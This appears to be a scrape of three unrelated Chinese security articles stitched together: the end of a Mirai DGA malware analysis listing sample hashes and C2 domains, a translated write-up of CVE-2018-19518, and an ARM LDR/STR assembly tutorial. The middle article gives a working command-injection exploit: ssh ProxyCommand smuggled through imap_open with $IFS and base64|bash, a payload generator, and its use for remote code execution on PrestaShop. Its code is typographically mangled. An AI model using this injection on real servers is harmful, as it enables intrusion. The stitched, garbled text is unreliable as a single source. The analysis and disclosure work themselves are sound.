zugzwang.me email [email protected]
**样本和分析**
本文中用作说明的样本如下：
1\. MD5: bf136fb3b350a96fd1003b8557bb758a
2\. SHA256: 971156ec3dca4fa5c53723863966ed165d546a184f3c8ded008b029fd59d6a5a
3\. File type: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV),
statically linked, stripped
样品做了去符号处理但未加壳。根据以分析Mirai样本经验，我们很快就确定了其主要模块。比较代码发现，resolvcncaddr函数的CFG（流程控制图）与先前发现的样本非常不同。
新版本的CFG如图1所示。
图1, 新版本的resolv_cnc_addr 流程控制图
在函数开始处，由于在样本中硬编码了多达3个C2域名，所以生成随机数以从第一和第二个C2域名中随机选择一个，如图2所示。
图2, resolv_cnc_addr 函数第一部分
如果被选中的C2域名无法解析，则bot并不解析未选择的域名或第三域名，而是将根据当前日期判断是决定是否去执行DGA代码分支还是去解析第三个C2域名，如图3。
图3, 决定是否进入DGA 代码分支
从上述代码片段我们可以看出，如果当前日期在11月1日和12月3日之间，将去解析第3个C2域名。否则将执行DGA代码分支。这可以理解为作者不希望DGA域名在12月4日之前被启用，这也恰好被前文提及首个被注册的Mirai
DGA域名对应于12月4日所映证。
DGA主函数名为dgagendomain。域名完全是基于种子数字和当前日期生成的。种子通过调用strtol（）从硬编码的十六进制格式字符串进行转换。看起来字符串“x90x91x80x90x90x91x80x90”是一个错误的配置，这会导致strtol（）总是返回0。
代码中通过调用time（）和localtime（）的C库函数得到本地日期。但只有月和日被使用，如图4所示。
图4, dga_gen_domain 函数片段
L2域名是通过反复执行图5所示的代码块来生成的。其长度由$ t5和$ t2确定，它们的值在图4中设置，从中我们可以确定L2域名长度是12。
图5, 生成L2域名的循环代码片段
TLD（Top Level Domain）由寄存器$S0中的残余值确定，如图6所示。 我们可以看到在这里使用了3个TLD。
图6, 确定TLD 的代码分支
**
**
**IOC**
目前，DGA相关的特性存在于如下样本，所有这些DGA样本中的种子字符串和算法都完全相同：
005241cf76d31673a752a76bb0ba7118
05891dbabc42a36f33c30535f0931555
0eb51d584712485300ad8e8126773941
15b35cfff4129b26c0f07bd4be462ba0
2da64ae2f8b1e8b75063760abfc94ecf
41ba9f3d13ce33526da52407e2f0589d
4a8145ae760385c1c000113a9ea00a3a
551380681560849cee3de36329ba4ed3
72bbfc1ff6621a278e16cfc91906109f
73f4312cc6f5067e505bc54c3b02b569
7d490eedc5b46aff00ffaaec7004e2a8
863dcf82883c885b0686dce747dcf502
bf136fb3b350a96fd1003b8557bb758a
bf650d39eb603d92973052ca80a4fdda
d89b1be09de36e326611a2abbedb8751
dbd92b08cbff8455ff76c453ff704dc6
eba670256b816e2d11f107f629d08494
样本中的硬编码C2域名如下：
zugzwang.me
tr069.online
tr069.tech
tr069.support
我们将密切关注DGA变种的后续变化，敬请关注后续更新。
**附：360网络安全研究院对Mirai追踪过程**
360网络安全研究院基于对美国和德国两次断网事件以及mirai僵尸网络的理解，梳理了Miral追踪的脉络（以下均为北京时间）：
2016-11-07，kenzo发布了一个针对7547端口上路由器等设备的TR-069/TR-064相关的安全公告；
2016-11-26 21:27:23 360网络安全研究院首次探测到mirai僵尸网络发起了针对 7547 端口的扫描；
2016-11-26 ～ 2016-11-28，端口7547上的mirai僵尸网络规模积累到足以影响大面积网络；
2016-11-27 17：04，360网络安全研究院监测到又出现一个变种,和26日的新变种类似,这次的变种出现了扫描TCP端口5555的行为。
截至到2016-11-28 telekom 德国电信累积大约90万个路由器被mirai僵尸网络的扫描过程打宕，网络大面积受影响；
2016-11-28 ～ 至今 telekom 德国电信在自身网络范围内采取措施遏制mirai僵尸网络的扫描过程。
截止到12月9日，360网络安全研究院设置的蜜罐已从6个托管服务器捕获了53个独立样本。
2016年12初，在分析其中一个新样本时，360网络安全研究的Qu
Wenji发现一些类似DGA的代码，并猜测变种中包含有DGA功能，这个猜测很快就从我们的沙箱数据中得到验证。 | 社区文章 |
今天，即使管理员在PHP配置文件中设置disable_functions，我们也将探索一种令人兴奋的远程执行代码的方法。它适用于大多数流行的类UNIX系统。
[CVE-2018-19518](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19518)漏洞是@crlf贡献的。让我们看看该漏洞的详细信息以及如何利用它。
# 测试环境
对于测试操作，我们需要建立一个测试环境。我将使用Debian 9系统的docker容器和一些安全选项设置为关闭进行调试。
`docker run — rm -ti — cap-add=SYS_PTRACE — security-opt seccomp=unconfined —
name=phpimap — hostname=phpimap -p80:80 debian /bin/bash`
接下来，我们需要使用IMAP模块为大家和PHP安装编辑器。
`apt update && apt install -y nano php php-imap`
在本文的时候，我从默认存储库安装了PHP版本7.0.30。
另外，我们需要ssh，因为每个的服务器都有ssh，对吧？:)
apt install -y ssh
如果要查看系统调用，则需要安装strace工具。
`apt install -y strace`
现在，尝试为我们的PHP安装添加一些安全性。要做到这一点，我只是谷歌“PHP禁用危险功能”
并使用搜索结果中的第一个链接。是的，我在这里扮演一名超级技能的管理员......
根据手册，我们需要将以下内容添加到配置文件disable_functions指令中。我们这样做。
echo ‘; priority=99’ > /etc/php/7.0/mods-available/disablefns.ini
echo ‘disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source’ >> /etc/php/7.0/mods-available/disablefns.ini
phpenmod disablefns
据推测，我们现在受到保护，无法执行大多数危险功能。让我们看看我们能做些什么。
什么是IMAP？
为什么我们需要回答这个奇怪的问题？因为它是在系统中执行任何命令的桥梁。Internet消息访问协议（IMAP）是电子邮件客户端用于通过TCP /
IP连接从邮件服务器检索电子邮件的Internet标准协议。IMAP由Mark
Crispin于1986年设计为远程邮箱协议，与广泛使用的POP（一种用于检索邮箱内容的协议）形成对比。目前，IMAP由RFC
3501定义规格。IMAP的设计目标是允许多个电子邮件客户端完全管理电子邮件收件箱。因此，客户端通常会在服务器上保留消息，直到用户明确删除它们为止。IMAP服务器通常侦听端口号143.默认情况下，IMAP
over
SSL（IMAPS）被分配端口号993。当然，PHP支持IMAP开箱即用。为了使协议的工作更容易，PHP有许多功能。在所有这些功能中，我们只对imap_open感兴趣。它用于打开邮箱的IMAP流。该函数不是PHP核心函数;
它是从华盛顿大学开发的UW IMAP工具包环境导入的 该库的最新版本大约在7年前于2011年发布。
在PHP中调用它的语法如下所示：
resource imap_open ( string $mailbox , string $username , string $password [, int $options = 0 [, int $n_retries = 0 [, array $params = NULL ]]] )
需要定义要连接的服务器时使用的mailbox参数。
`{[host]}:[port][flags]}[mailbox_name]`
除了标准的主机，端口和邮箱名称，我们还可以使用一些标志。有关它的所有信息，请参阅官方手册页。与某些IMAP服务器的标准连接可能如下所示：
`imap_open(“{mail.domain.com}:143/imap/notls}”, “admin”, “admin”)`
中/ imap和/ notls是连接标志。
查看突出显示的/
norsh标志。IMAP允许您使用预先认证的ssh或rsh会话自动登录服务器。当您不需要使用该功能时使用的标志然后默认尝试使用该标志。每个人都知道ssh，但是谁知道什么是rsh？
# 什么是rsh？
很久以前在ssh之前使用了远程shell（rsh）。它的起源可以追溯到BSD
Unix操作系统以及rcp。它是1983年4.2BSD上rlogin软件包的一部分.Rsh后来被移植到其他操作系统。然后，在1995年，引入了第一个版本的SSH协议。
rsh命令与另一个常见的UNIX实用程序（受限制的shell）具有相同的名称，该实用程序最初出现在PWB / UNIX中。在System V Release
4中，受限shell通常位于/ usr / bin /
rsh。然而，问题是，2018年仍然是rsh？好吧，大多数流行的类似Unix的发行版仍然以某种方式使用它：
* Ubuntu：链接到ssh
* ebian：链接到ssh
* Arch：rsh本身
* 等等
# 漏洞详细信息
查看imap2007f库的源代码。与连接的工作原理主要功能是tcp_aopen在tcp_unix.c文件中定义。
/imap-2007f/src/osdep/unix/tcp_unix.c：
321: /* TCP/IP authenticated open
322: * Accepts: host name
323: * service name
324: * returned user name buffer
325: * Returns: TCP/IP stream if success else NIL
326: */
…
330: TCPSTREAM *tcp_aopen (NETMBX *mb,char *service,char *usrbuf)
331: {
让我们检查是否定义了ssh和rsh的路径。
/imap-2007f/src/osdep/unix/tcp_unix.c：
341: #ifdef SSHPATH /* ssh path defined yet? */
342: if (!sshpath) sshpath = cpystr (SSHPATH);
343: #endif
344: #ifdef RSHPATH /* rsh path defined yet? */
345: if (!rshpath) rshpath = cpystr (RSHPATH);
346: #endif
该代码告诉我们如果没有定义SSHPATH，那么尝试读取RSHPATH。一些源代码将帮助我们找出SSHPATH定义发生的位置。事实上，它是IMAP守护程序读取配置文件/etc/c-client.cf。该DORC程序解析来自它和许多其他指令之间的信息SSH路径存在。如果已定义，则SSHPATH接受它。
/imap-2007f/src/osdep/unix/env_unix.h：
48: /* dorc() options */
49:
50: #define SYSCONFIG “/etc/c-client.cf”
/imap-2007f/src/osdep/unix/env_unix.c:
1546: /* Process rc file
…
1552: void dorc (char *file,long flag)
1553: {
…
1677: else if (!compare_cstring (s,”set ssh-path”))
1678: mail_parameters (NIL,SET_SSHPATH,(void *) k);
默认情况下它是空的，我们无法控制它，因为/ etc目录没有启用写入。但你可以尝试深入挖掘这个方向，也许，你可以找到一个很好的攻击向量。
现在我们跳转到RSHPATH定义。它位于构建自动化工具（make）配置文件 -Makefile中。不同版本的发行版为其Makefile提供了不同的路径。在大多数情况下，您可以在Linux上看到/ usr / bin / rsh路径。
/imap-2007f/src/osdep/unix/Makefile:
248: bs3: # BSD/i386 3.0 or higher
…
253: RSHPATH=/usr/bin/rsh \
…
261: bsf: # FreeBSD
…
266: RSHPATH=/usr/bin/rsh \
…
528: mnt: # Mint
…
533: RSHPATH=/usr/bin/rsh \
…
590: osx: # Mac OS X
…
594: RSHPATH=/usr/bin/rsh \
…
673: slx: # Secure Linux
…
681: RSHPATH=/usr/bin/rsh \
我把Debian 9作为我的测试环境，我有/ usr / bin / rsh作为RSHPATH，这是我的情况下ssh二进制文件的链接。
返回tcp_aopen并观察定义后会发生什么。
/imap-2007f/src/osdep/unix/tcp_unix.c：
347: if (*service == ‘*’) { /* want ssh? */
348: /* return immediately if ssh disabled */
349: if (!(sshpath && (ti = sshtimeout))) return NIL;
350: /* ssh command prototype defined yet? */
351: if (!sshcommand) sshcommand = cpystr (“%s %s -l %s exec /etc/r%sd”);
352: }
353: /* want rsh? */
354: else if (rshpath && (ti = rshtimeout)) {
355: /* rsh command prototype defined yet? */
356: if (!rshcommand) rshcommand = cpystr (“%s %s -l %s exec /etc/r%sd”);
357: }
358: else return NIL; /* rsh disabled */
该代码生成一个命令以在远程服务器上执行rimapd二进制文件。让我们创建一个PHP脚本进行测试。
test1.php：
1: <?php
2: @imap_open(‘{localhost:143/imap}INBOX’, ‘’, ‘’);
然后使用带有execve系统调用过滤的strace工具来观察脚本处理期间将执行的命令。
strace -f -e trace = clone，execve php test1.php
如您所见，localhost是执行命令的参数之一。这意味着我们可以在操作服务器地址参数时操纵命令行。
让我们看看ssh二进制文件的选项，因为在Debian / usr / bin / rsh中是它的符号链接。这里有很多选项，当然，我们需要关注-o。
用该选项，我可以在命令行中传递任何指令，就像它们在配置文件中一样。看看[ProxyCommand](https://man.openbsd.org/ssh_config.5#ProxyCommand)。在其帮助下，您可以指定用于连接服务器的命令。该命令在用户的shell中执行。这正是我们需要的一个很好的利用！
让我们看看它如何使用一个简单的命令：
ssh -oProxyCommand =“echo hello | tee / tmp / executed”localhost
该命令已完全成功。
好的，但是我们不能直接将它转移到PHP脚本来代替imap_open服务器地址，因为在解析时，它会将空格解释为分隔符和斜杠作为标志。幸运的是，您可以使用$
IFS shell变量来替换空格符号或普通选项卡（\ t）。您可以在bash中使用Ctrl + V热键和Tab键插入标签。
ssh -oProxyCommand =“echo hello | tee / tmp / executed”localhost
要绕过斜杠，可以使用base64编码和相关命令对其进行解码。
echo“echo hello | tee / tmp / executed”| base64
> ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVjdXRlZAo =
ssh -oProxyCommand =“echo ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVjdXRlZAo = | base64 -d | bash”localhost
工作很棒！是时候在PHP中测试它了。
test2.php：
1：<？php
2：$ payload =“echo hello | tee / tmp / executed”;
3：$ encoded_payload = base64_encode（$ payload）;
4：$ server =“any -o ProxyCommand = echo \ t”。$ encoded_payload。“| base64 \ td | bash”;
5：@imap_open（'{'。$ server。'}：143 / imap} INBOX'，''，''）;
现在再次使用strace执行它并观察命令行调用的内容。
看看这些连接。有我们所有的命令，它们正在远程服务器上运行。利用完成后，文件创建成功。该命令不是由PHP本身执行，而是由外部库执行，这意味着什么都不能阻止它执行，而不是事件disable_functions指令。
# PrestaShop RCE
现在让我们看看PrestaShop上的一个真实示例。它是一种免费增值的开源电子商务解决方案。该软件根据开放软件许可证发布。它是用PHP编写的，支持MySQL数据库管理系统。PrestaShop目前被全球约250,000家在线商店使用。
首先，您需要安装具有最低要求的环境。
apt install -y wget unzip apache2 mysql-server php-zip php-curl php-mysql php-gd php-mbstring
service mysql start
mysql -u root -e “CREATE DATABASE prestashop; GRANT ALL PRIVILEGES ON *.* TO ‘root’@’localhost’ IDENTIFIED BY ‘megapass’;”
a2enmod rewrite
接下来，下载PrestaShop 1.7.4.4安装程序并将其解压缩到web-root目录。
cd /var/www/html
wget https://download.prestashop.com/download/releases/prestashop_1.7.4.4.zip
unzip prestashop_1.7.4.4.zip
Start Apache2 daemon and surf your web-server to begin shop installation.
service apache2 start
成功安装过程后，登录管理面板，转到客户服务选项卡，然后查看客户服务选项部分。有IMAP服务器参数，您可以在其中找到IMAP URL。
查看AdminCustomerThreads控制器的源代码。
prestashop-1.7.4.4/controllers/admin/AdminCustomerThreadsController.php:
0948: // Executes the IMAP synchronization.
0949: $sync_errors = $this->syncImap();
…
0966: public function syncImap()
0967: {
0968: if (!($url = Configuration::get(‘PS_SAV_IMAP_URL’))
0969: || !($port = Configuration::get(‘PS_SAV_IMAP_PORT’))
0970: || !($user = Configuration::get(‘PS_SAV_IMAP_USER’))
0971: || !($password = Configuration::get(‘PS_SAV_IMAP_PWD’))) {
0972: return array(‘hasError’ => true, ‘errors’ => array(‘IMAP configuration is not correct’));
0973: }
0974:
0975: $conf = Configuration::getMultiple(array(
0976: ‘PS_SAV_IMAP_OPT_POP3’, ‘PS_SAV_IMAP_OPT_NORSH’, ‘PS_SAV_IMAP_OPT_SSL’,
0977: ‘PS_SAV_IMAP_OPT_VALIDATE-CERT’, ‘PS_SAV_IMAP_OPT_NOVALIDATE-CERT’,
0978: ‘PS_SAV_IMAP_OPT_TLS’, ‘PS_SAV_IMAP_OPT_NOTLS’));
…
1007: $mbox = @imap_open(‘{‘.$url.’:’.$port.$conf_str.’}’, $user, $password);
你可以在这里看到imap_open调用用户数据$ url变量。
我将以前的脚本更新为PHP上的一个小负载生成器。它需要您想要作为参数执行的命令。
payload.php：
1：<？php
2：$ payload = $ argv [1];
3：$ encoded_payload = base64_encode（$ payload）;
4：$ server =“any -o ProxyCommand = echo \ t”。$ encoded_payload。“| base64 \ td | bash}”;
5：print（“payload：{$ server}”。PHP_EOL）;
将生成的有效payload插入URL输入并按保存。
瞧！远程执行代码漏洞就在这里。
结论
今天，我们了解了一种绕过安全限制并实现远程代码执行漏洞的新技术。看看在PrestaShop软件上使用它的真实世界示例，该软件仍然没有可以解决问题的版本。但是，PHP开发人员已经发布了针对此问题的补丁。不幸的是，Linux发行版中的存储库和软件包并没有像我们所喜欢的那样快速更新。
注意并尝试在项目中避免不安全的imap_open函数调用。
有一个很好的bug赏金;）
`原文链接:https://lab.wallarm.com/rce-in-php-or-how-to-bypass-disable-functions-in-php-installations-6ccdbf4f52bb` | 社区文章 |
# 【系列分享】ARM 汇编基础速成4：ARM汇编内存访问相关指令
|
##### 译文声明
本文是翻译文章，文章来源：azeria-labs.com
原文地址：<https://azeria-labs.com/memory-instructions-load-and-store-part-4/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[arnow117](http://bobao.360.cn/member/contribute?uid=941579989)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
传送门
[【系列分享】ARM
汇编基础速成1：ARM汇编以及汇编语言基础介绍](http://bobao.360.cn/learning/detail/4070.html)
**[【系列分享】ARM
汇编基础速成2：ARM汇编中的数据类型](http://bobao.360.cn/learning/detail/4075.html)**
[**【系列分享】ARM
汇编基础速成3：ARM模式与THUMB模式**](http://bobao.360.cn/learning/detail/4082.html)
ARM使用加载-存储模式控制对内存的访问，这意味着只有加载/存储(LDR或者STR)才能访问内存。尽管X86中允许很多指令直接操作在内存中的数据，但ARM中依然要求在操作数据前，必须先从内存中将数据取出来。这就意味着如果要增加一个32位的在内存中的值，需要做三种类型的操作(加载，加一，存储)将数据从内存中取到寄存器，对寄存器中的值加一，再将结果放回到内存中。
为了解释ARM架构中的加载和存储机制，我们准备了一个基础的例子以及附加在这个基础例子上的三种不同的对内存地址的便宜访问形式。每个例子除了STR/LDR的偏移模式不同外，其余的都一样。而且这个例子很简单，最佳的实践方式是用GDB去调试这段汇编代码。
第一种偏移形式：立即数作为偏移
地址模式：用作偏移
地址模式：前向索引
地址模式：后向索引
第二种偏移形式：寄存器作为偏移
地址模式：用作偏移
地址模式：前向索引
地址模式：后向索引
第三种偏移形式：寄存器缩放值作为偏移
地址模式：用作偏移
地址模式：前向索引
地址模式：后向索引
**基础样例代码**
通常，LDR被用来从内存中加载数据到寄存器，STR被用作将寄存器的值存放到内存中。
LDR R2, [R0] @ [R0] - 数据源地址来自于R0指向的内存地址
@ LDR操作：从R0指向的地址中取值放到R2中
STR R2, [R1] @ [R1] - 目的地址来自于R1在内存中指向的地址
@ STR操作：将R2中的值放到R1指向的地址中
样例程序的汇编代码及解释如下：
.data /* 数据段是在内存中动态创建的，所以它的在内存中的地址不可预测*/
var1: .word 3 /* 内存中的第一个变量 */
var2: .word 4 /* 内存中的第二个变量 */
.text /* 代码段开始 */
.global _start
_start:
ldr r0, adr_var1 @ 将存放var1值的地址adr_var1加载到寄存器R0中
ldr r1, adr_var2 @ 将存放var2值的地址adr_var2加载到寄存器R1中
ldr r2, [r0] @ 将R0所指向地址中存放的0x3加载到寄存器R2中
str r2, [r1] @ 将R2中的值0x3存放到R1做指向的地址
bkpt
adr_var1: .word var1 /* var1的地址助记符 */
adr_var2: .word var2 /* var2的地址助记符 */
在底部我们有我们的文字标识池(在代码段中用来存储常量，字符串，或者偏移等的内存，可以通过位置无关的方式引用)，分别用adr_var1和adr_var2存储着变量var1和var2的内存地址(var1和var2的值在数据段定义)。第一条LDR指令将变量var1的地址加载到寄存器R0。第二条LDR指令同样将var2的地址加载到寄存器R1。之后我们将存储在R0指向的内存地址中的值加载到R2，最后将R2中的值存储到R1指向的内存地址中。
当我们加载数据到寄存器时，方括号“[]”意味着：将其中的值当做内存地址，并取这个内存地址中的值加载到对应寄存器。
当我们存储数据到内存时，方括号“[]”意味着：将其中的值当做内存地址，并向这个内存地址所指向的位置存入对应的值。
听者好像有些抽象，所以再来看看这个动画吧：
同样的再来看看的这段代码在调试器中的样子。
gef> disassemble _start
Dump of assembler code for function _start:
0x00008074 <+0>: ldr r0, [pc, #12] ; 0x8088 <adr_var1>
0x00008078 <+4>: ldr r1, [pc, #12] ; 0x808c <adr_var2>
0x0000807c <+8>: ldr r2, [r0]
0x00008080 <+12>: str r2, [r1]
0x00008084 <+16>: bx lr
End of assembler dump.
可以看到此时的反汇编代码和我们编写的汇编代码有出入了。前两个LDR操作的源寄存器被改成了[pc,#12]。这种操作叫做PC相对地址。因为我们在汇编代码中使用的只是数据的标签，所以在编译时候编译器帮我们计算出来了与我们想访问的文字标识池的相对便宜，即PC+12。你也可以看汇编代码中手动计算验证这个偏移是正确的，以adr_var1为例，执行到8074时，其当前有效PC与数据段还有三个四字节的距离，所以要加12。关于PC相对取址我们接下来还会接着介绍。
PS：如果你对这里的PC的地址有疑问，可以看外面第二篇关于程序执行时PC的值的说明，PC是指向当前执行指令之后第二条指令所在位置的，在32位ARM模式下是当前执行位置加偏移值8，在Thumb模式下是加偏移值4。这也是与X86架构PC的区别之所在。
**第一种偏移形式：立即数作偏移**
STR Ra, [Rb, imm]
LDR Ra, [Rc, imm]
在这段汇编代码中，我们使用立即数作为偏移量。这个立即数被用来与一个寄存器中存放的地址做加减操作(下面例子中的R1)，以访问对应地址偏移处的数据。
.data
var1: .word 3
var2: .word 4
.text
.global _start
_start:
ldr r0, adr_var1 @ 将存放var1值的地址adr_var1加载到寄存器R0中
ldr r1, adr_var2 @ 将存放var2值的地址adr_var2加载到寄存器R1中
ldr r2, [r0] @ 将R0所指向地址中存放的0x3加载到寄存器R2中
str r2, [r1, #2] @ 取址模式：基于偏移量。R2寄存器中的值0x3被存放到R1寄存器的值加2所指向地址处。
str r2, [r1, #4]! @ 取址模式：基于索引前置修改。R2寄存器中的值0x3被存放到R1寄存器的值加4所指向地址处，之后R1寄存器中存储的值加4,也就是R1=R1+4。
ldr r3, [r1], #4 @ 取址模式：基于索引后置修改。R3寄存器中的值是从R1寄存器的值所指向的地址中加载的，加载之后R1寄存器中存储的值加4,也就是R1=R1+4。
bkpt
adr_var1: .word var1
adr_var2: .word var2
让我们把上面的这段汇编代码编译一下，并用GDB调试起来看看真实情况。
$ as ldr.s -o ldr.o
$ ld ldr.o -o ldr
$ gdb ldr
在GDB(使用GEF插件)中，我们对_start下一个断点并继续运行程序。
gef> break _start
gef> run
...
gef> nexti 3 /* 向后执行三条指令 */
执行完上述GDB指令后，在我的系统的寄存器的值现在是这个样子(在你的系统里面可能不同)：
$r0 : 0x00010098 -> 0x00000003
$r1 : 0x0001009c -> 0x00000004
$r2 : 0x00000003
$r3 : 0x00000000
$r4 : 0x00000000
$r5 : 0x00000000
$r6 : 0x00000000
$r7 : 0x00000000
$r8 : 0x00000000
$r9 : 0x00000000
$r10 : 0x00000000
$r11 : 0x00000000
$r12 : 0x00000000
$sp : 0xbefff7e0 -> 0x00000001
$lr : 0x00000000
$pc : 0x00010080 -> <_start+12> str r2, [r1]
$cpsr : 0x00000010
下面来分别调试这三条关键指令。首先执行基于地址偏移的取址模式的STR操作了。就会将R2(0x00000003)中的值存放到R1(0x0001009c)所指向地址偏移2的位置0x1009e。下面一段是执行完对应STR操作后对应内存位置的值。
gef> nexti
gef> x/w 0x1009e
0x1009e <var2+2>: 0x3
下一条STR操作使用了基于索引前置修改的取址模式。这种模式的识别特征是(!)。区别是在R2中的值被存放到对应地址后，R1的值也会被更新。这意味着，当我们将R2中的值0x3存储到R1(0x1009c)的偏移4之后的地址0x100A0后，R1的值也会被更新到为这个地址。下面一段是执行完对应STR操作后对应内存位置以及寄存器的值。
gef> nexti
gef> x/w 0x100A0
0x100a0: 0x3
gef> info register r1
r1 0x100a0 65696
最后一个LDR操作使用了基于索引后置的取址模式。这意味着基础寄存器R1被用作加载的内存地址，之后R1的值被更新为R1+4。换句话说，加载的是R1所指向的地址而不是R1+4所指向的地址，也就是0x100A0中的值被加载到R3寄存器，然后R1寄存器的值被更新为0x100A0+0x4也就是0x100A4。下面一段是执行完对应LDR操作后对应内存位置以及寄存器的值。
gef> info register r1
r1 0x100a4 65700
gef> info register r3
r3 0x3 3
下图是这个操作发生的动态示意图。
**第二种偏移形式：寄存器作偏移**
STR Ra, [Rb, Rc]
LDR Ra, [Rb, Rc]
在这个偏移模式中，寄存器的值被用作偏移。下面的样例代码展示了当试着访问数组的时候是如何计算索引值的。
.data
var1: .word 3
var2: .word 4
.text
.global _start
_start:
ldr r0, adr_var1 @ 将存放var1值的地址adr_var1加载到寄存器R0中
ldr r1, adr_var2 @ 将存放var2值的地址adr_var2加载到寄存器R1中
ldr r2, [r0] @ 将R0所指向地址中存放的0x3加载到寄存器R2中
str r2, [r1, r2] @ 取址模式：基于偏移量。R2寄存器中的值0x3被存放到R1寄存器的值加R2寄存器的值所指向地址处。R1寄存器不会被修改。
str r2, [r1, r2]! @ 取址模式：基于索引前置修改。R2寄存器中的值0x3被存放到R1寄存器的值加R2寄存器的值所指向地址处，之后R1寄存器中的值被更新,也就是R1=R1+R2。
ldr r3, [r1], r2 @ 取址模式：基于索引后置修改。R3寄存器中的值是从R1寄存器的值所指向的地址中加载的，加载之后R1寄存器中的值被更新也就是R1=R1+R2。
bx lr
adr_var1: .word var1
adr_var2: .word var2
下面来分别调试这三条关键指令。在执行完基于偏移量的取址模式的STR操作后，R2的值被存在了地址0x1009c + 0x3 =
0x1009F处。下面一段是执行完对应STR操作后对应内存位置的值。
gef> x/w 0x0001009F
0x1009f <var2+3>: 0x00000003
下一条STR操作使用了基于索引前置修改的取址模式，R1的值被更新为R1+R2的值。下面一段是执行完对应STR操作后寄存器的值。
gef> info register r1
r1 0x1009f 65695
最后一个LDR操作使用了基于索引后置的取址模式。将R1指向的值加载到R2之后，更新了R1寄存器的值(R1+R2 = 0x1009f + 0x3 =
0x100a2)。下面一段是执行完对应LDR操作后对应内存位置以及寄存器的值。
gef> info register r1
r1 0x100a2 65698
gef> info register r3
r3 0x3 3
下图是这个操作发生的动态示意图。
**第三种偏移形式：寄存器缩放值作偏移**
LDR Ra, [Rb, Rc, <shifter>]
STR Ra, [Rb, Rc, <shifter>]
在这种偏移形式下，第三个偏移量还有一个寄存器做支持。Rb是基址寄存器，Rc中的值作为偏移量，或者是要被左移或右移的次的值。这意味着移位器shifter被用来用作缩放Rc寄存器中存放的偏移量。下面的样例代码展示了对一个数组的循环操作。同样的，我们也会用GDB调试这段代码。
.data
var1: .word 3
var2: .word 4
.text
.global _start
_start:
ldr r0, adr_var1 @ 将存放var1值的地址adr_var1加载到寄存器R0中
ldr r1, adr_var2 @ 将存放var2值的地址adr_var2加载到寄存器R1中
ldr r2, [r0] @ 将R0所指向地址中存放的0x3加载到寄存器R2中
str r2, [r1, r2, LSL#2] @ 取址模式：基于偏移量。R2寄存器中的值0x3被存放到R1寄存器的值加(左移两位后的R2寄存器的值)所指向地址处。R1寄存器不会被修改。
str r2, [r1, r2, LSL#2]! @ 取址模式：基于索引前置修改。R2寄存器中的值0x3被存放到R1寄存器的值加(左移两位后的R2寄存器的值)所指向地址处，之后R1寄存器中的值被更新,也就R1 = R1 + R2<<2。
ldr r3, [r1], r2, LSL#2 @ 取址模式：基于索引后置修改。R3寄存器中的值是从R1寄存器的值所指向的地址中加载的，加载之后R1寄存器中的值被更新也就是R1 = R1 + R2<<2。
bkpt
adr_var1: .word var1
adr_var2: .word var2
下面来分别调试这三条关键指令。在执行完基于偏移量的取址模式的STR操作后，R2被存储到的位置是[r1,r2,LSL#2]，也就是说被存储到R1+(R2<<2)的位置了，如下图所示。
下一条STR操作使用了基于索引前置修改的取址模式，R1的值被更新为R1+(R2<<2)的值。下面一段是执行完对应STR操作后寄存器的值。
gef> info register r1
r1 0x100a8 65704
最后一个LDR操作使用了基于索引后置的取址模式。将R1指向的值加载到R2之后，更新了R1寄存器的值(R1+R2 = 0x100a8 + (0x3<<2) =
0x100b4)。下面一段是执行完对应LDR操作后寄存器的值。
gef> info register r1
r1 0x100b4 65716
**小结**
LDR/STR的三种偏移模式：
立即数作为偏移
ldr r3, [r1, #4]
寄存器作为偏移
ldr r3, [r1, r2]
寄存器缩放值作为偏移
ldr r3, [r1, r2, LSL#2]
如何区分取址模式：
如果有一个叹号!，那就是索引前置取址模式，即使用计算后的地址，之后更新基址寄存器。
ldr r3, [r1, #4]!
ldr r3, [r1, r2]!
ldr r3, [r1, r2, LSL#2]!
如果在[]外有一个寄存器，那就是索引后置取址模式，即使用原有基址寄存器重的地址，之后再更新基址寄存器
ldr r3, [r1], #4
ldr r3, [r1], r2
ldr r3, [r1], r2, LSL#2
除此之外，就都是偏移取址模式了
ldr r3, [r1, #4]
ldr r3, [r1, r2]
ldr r3, [r1, r2, LSL#2]
地址模式：用作偏移
地址模式：前向索引
地址模式：后向索引
**关于PC相对取址的LDR指令**
有时候LDR并不仅仅被用来从内存中加载数据。还有如下这操作:
.section .text
.global _start
_start:
ldr r0, =jump /* 加载jump标签所在的内存位置到R0 */
ldr r1, =0x68DB00AD /* 加载立即数0x68DB00AD到R1 */
jump:
ldr r2, =511 /* 加载立即数511到R2 */
bkpt
这些指令学术上被称作伪指令。但我们在编写ARM汇编时可以用这种格式的指令去引用我们文字标识池中的数据。在上面的例子中我们用一条指令将一个32位的常量值放到了一个寄存器中。为什么我们会这么写是因为ARM每次仅仅能加载8位的值，原因倾听我解释立即数在ARM架构下的处理。
**在ARM中使用立即数的规律**
是的，在ARM中不能像X86那样直接将立即数加载到寄存器中。因为你使用的立即数是受限的。这些限制听上去有些无聊。但是听我说，这也是为了告诉你绕过这些限制的技巧(通过LDR)。
我们都知道每条ARM指令的宽度是32位，所有的指令都是可以条件执行的。我们有16中条件可以使用而且每个条件在机器码中的占位都是4位。之后我们需要2位来做为目的寄存器。2位作为第一操作寄存器，1位用作设置状态的标记位，再加上比如操作码(opcode)这些的占位。最后每条指令留给我们存放立即数的空间只有12位宽。也就是4096个不同的值。
这也就意味着ARM在使用MOV指令时所能操作的立即数值范围是有限的。那如果很大的话，只能拆分成多个部分外加移位操作拼接了。
所以这剩下的12位可以再次划分，8位用作加载0-255中的任意值，4位用作对这个值做0~30位的循环右移。这也就意味着这个立即数可以通过这个公式得到：v =
n ror 2*r。换句话说，有效的立即数都可以通过循环右移来得到。这里有一个例子
有效值:
#256 // 1 循环右移 24位 --> 256
#384 // 6 循环右移 26位 --> 384
#484 // 121 循环右移 30位 --> 484
#16384 // 1 循环右移 18位 --> 16384
#2030043136 // 121 循环右移 8位 --> 2030043136
#0x06000000 // 6 循环右移 8位 --> 100663296 (十六进制值0x06000000)
Invalid values:
#370 // 185 循环右移 31位 --> 31不在范围内 (0 – 30)
#511 // 1 1111 1111 --> 比特模型不符合
#0x06010000 // 1 1000 0001.. --> 比特模型不符合
